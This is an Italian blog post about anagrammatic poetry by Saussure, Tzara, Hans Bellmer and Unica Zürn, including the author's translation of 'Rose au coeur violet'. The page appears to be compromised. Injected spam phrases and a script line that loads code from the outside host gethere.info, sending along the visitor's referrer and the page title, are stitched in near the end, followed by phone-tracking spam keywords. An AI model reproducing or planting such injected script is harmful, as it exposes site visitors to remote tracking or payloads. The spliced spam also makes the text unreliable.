Pagine

Archivi

Meta


« | Main | »

Magra mina, Mangi arma, Anagrammi, insomma…

By admin | aprile 7, 2009

In BDF 2.3 avevo parlato degli anagrammi di Saussure e Tzara. Meglio sarebbe stato utilizzare i termini alternativi proposti da Saussure, ipogrammi o metagrammi.
La poesia anagrammatica ha un'altra storia, di cui un capitolo è legato al surrealismo, a Hans Bellmer e a sua moglie Unica Zuern.
Questo è un estratto da un libro di lettere di Bellmer a Férdière, già psichiatra di Artaud e quindi della moglie, e tratta dei procedimenti anagrammatici di Unica:

gli-anagrammi-di-unica-zuern-di-a-chevrier

Il mio primo confronto con la poesia anagrammatica è stato con l'Hexenmeister Luciano Parinetto

hexen-meister-texten-def

La mia ultima fatica, nel senso che prometto che non lo faccio più, è stato tradurre dal francese alla lingua patria Rose au coeur violet di Bellmer/Mitrani, già trasposta in tedesco da Unica Zuern.

bellmer/Mitrani

bellmer/Mitrani

steps to looking 10 years younger

Il testo trasuda allusioni sadomaso, ho cercato di tenerle corroborandole con uno spettro di feticismi.

rose-au-coeur-violet-tradotta

Si può considerare un lusso più esclusivo averci il suv, o prendersi il tempo per spremersi in queste delizie?

Coltelli e Nirvana

rose au coeur violet tradotta da unica zuern

rose au coeur violet tradotta da unica zuern

zp8497586rq

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; phone tracker, track my girlfriends iphone, track mobile phone

Topics: Incontri | Commenti disabilitati su Magra mina, Mangi arma, Anagrammi, insomma…

Comments are closed.